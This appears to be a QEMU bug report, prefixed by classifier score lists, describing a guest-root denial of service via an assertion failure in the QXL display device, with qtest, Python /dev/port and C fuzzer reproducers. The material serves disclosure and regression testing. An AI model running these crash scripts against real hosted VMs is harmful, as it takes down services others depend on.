risc-v: 0.971 user-level: 0.890 vnc: 0.879 KVM: 0.851 debug: 0.839 ppc: 0.834 TCG: 0.831 permissions: 0.831 performance: 0.826 network: 0.816 architecture: 0.813 hypervisor: 0.812 register: 0.805 graphic: 0.801 VMM: 0.800 mistranslation: 0.800 virtual: 0.798 assembly: 0.790 x86: 0.789 socket: 0.778 peripherals: 0.776 semantic: 0.770 arm: 0.769 kernel: 0.758 i386: 0.754 device: 0.745 PID: 0.738 files: 0.704 boot: 0.642 -------------------- virtual: 0.965 x86: 0.959 TCG: 0.959 device: 0.856 PID: 0.805 risc-v: 0.730 files: 0.441 VMM: 0.425 vnc: 0.377 debug: 0.147 ppc: 0.079 register: 0.050 socket: 0.031 KVM: 0.029 graphic: 0.029 kernel: 0.022 assembly: 0.022 network: 0.012 boot: 0.011 architecture: 0.011 user-level: 0.010 permissions: 0.010 performance: 0.010 semantic: 0.010 mistranslation: 0.009 hypervisor: 0.006 i386: 0.006 peripherals: 0.005 arm: 0.001 DoS via assert failure by guest user Description of problem: As root in guest VM user can execute special script, which crashes the whole VM with error ```plaintext hw/display/qxl.c:1594 inside of function void qxl_set_mode(PCIQXLDevice *, unsigned int, int): Assertion `qxl_add_memslot(d, 0, devmem, QXL_SYNC) == 0` failed ``` Steps to reproduce: 1. This bug can be reproduced with: ```bash cat << EOF | ./build/qemu-system-x86_64 -vga qxl -m 2048 -nodefaults -qtest stdio outl 0xcf8 0x8000101c outl 0xcfc 0xc000 outl 0xcf8 0x80001001 outl 0xcfc 0x01000000 outl 0xc006 0x00 EOF ``` 2. Also, we can execute this python3 script inside guest VM as root (to invoke VM use command: **_qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults_**): ```python import os f = os.open("/dev/port", os.O_RDWR|os.O_NDELAY) l = os.lseek(f, 0xcf8, 0) os.write(f, b'\x80\x00\x10\x1c') l = os.lseek(f, 0xcfc, 0) os.write(f, b'\xc0\x00') l = os.lseek(f, 0xcf8, 0) os.write(f, b'\x80\x00\x10\x01') l = os.lseek(f, 0xcfc, 0) os.write(f, b'\x01\x00\x00\x00') l = os.lseek(f, 0xc006, 0) os.write(f, b'\x00') ``` This script causes VM to crash. [PoC_qxl-vga_crash.mkv](/uploads/7ee262c20dca69aa9417812f6a93a532/PoC_qxl-vga_crash.mkv) Additional information: This issue was found by fuzzing. Here is an auto-generated C source code for a test case that will reproduce the bug. ```plaintext /* * Autogenerated Fuzzer Test Case * * Copyright (c) 2023 Artem Nasonov * * This work is licensed under the terms of the GNU GPL, version 2 or later. * See the COPYING file in the top-level directory. */ #include "qemu/osdep.h" #include "libqtest.h" /* * cat << EOF | qemu-system-x86_64 -vga qxl -hda \ * ~/Downloads/virtualdebian.img -m 2048 -nodefaults -qtest stdio * outl 0xcf8 0x8000101c * outl 0xcfc 0xc000 * outl 0xcf8 0x80001001 * outl 0xcfc 0x01000000 * outl 0xc006 0x00 * EOF */ static void test_qxl_set_mode(void) { QTestState *s = qtest_init("-vga qxl -m 2048 -nodefaults"); qtest_outl(s, 0xcf8, 0x8000101c); qtest_outl(s, 0xcfc, 0xc000); qtest_outl(s, 0xcf8, 0x80001001); qtest_outl(s, 0xcfc, 0x01000000); qtest_outl(s, 0xc006, 0x00); qtest_quit(s); }int main(int argc, char **argv) { const char *arch = qtest_get_arch(); g_test_init(&argc, &argv, NULL); if (strcmp(arch, "x86_64") == 0) { qtest_add_func("fuzz/test_qxl_set_mode",test_qxl_set_mode); } return g_test_run(); } ```